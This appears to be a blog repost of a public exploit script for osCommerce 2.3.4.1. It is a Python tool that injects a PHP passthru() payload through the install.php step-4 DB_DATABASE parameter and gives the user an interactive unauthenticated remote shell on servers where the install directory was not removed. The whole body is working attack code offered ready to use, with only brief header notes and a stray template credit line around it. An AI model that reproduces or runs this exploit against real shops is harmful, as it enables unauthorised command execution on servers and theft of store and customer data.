Monday, July 19, 2021

osCommerce 2.3.4.1 Remote Code Execution

# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2)
# Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin
# Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.oscommerce.com/
# Version: osCommerce 2.3.4
# Tested on: Windows

import requests
import sys

if(len(sys.argv) != 2):
print("please specify the osCommerce url")
print("format: python3 osCommerce2_3_4RCE.py <url>")
print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog")
sys.exit(0)

baseUrl = sys.argv[1]
testVulnUrl = baseUrl + '/install/install.php'

def rce(command):
#targeting the finish step which is step 4
targetUrl = baseUrl + '/install/install.php?step=4'

payload = "');"
payload += "passthru('" + command + "');" # injecting system command here
payload += "/*"

#injecting parameter
data = {
'DIR_FS_DOCUMENT_ROOT': './',
'DB_DATABASE' : payload
}

response = requests.post(targetUrl, data=data)

if(response.status_code == 200):
#print('[*] Successfully injected payload to config file')

readCMDUrl = baseUrl + '/install/includes/configure.php'
cmd = requests.get(readCMDUrl)

commandRsl = cmd.text.split('\n')

if(cmd.status_code == 200):
#print('[*] System Command Execution Completed')
#removing the error message above
for i in range(2, len(commandRsl)):
print(commandRsl[i])
else:
return '[!] Configure.php not found'


else:
return '[!] Fail to inject payload'



#testing vulnerability accessing the directory
test = requests.get(testVulnUrl)

#checking the install directory still exist or able to access or not
if(test.status_code == 200):
print('[*] Install directory still available, the host likely vulnerable to the exploit.')

#testing system command injection
print('[*] Testing injecting system command to test vulnerability')
cmd = 'whoami'

print('User: ', end='')
err = rce(cmd)

if(err != None):
print(err)
sys.exit(0)

while(True):
cmd = input('RCE_SHELL$ ')
err = rce(cmd)

if(err != None):
print(err)
sys.exit(0)

else:
print('[!] Install directory not found, the host is not vulnerable')
sys.exit(0)

 

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Thanks for everything Templateism - You should have written the code a little more complicated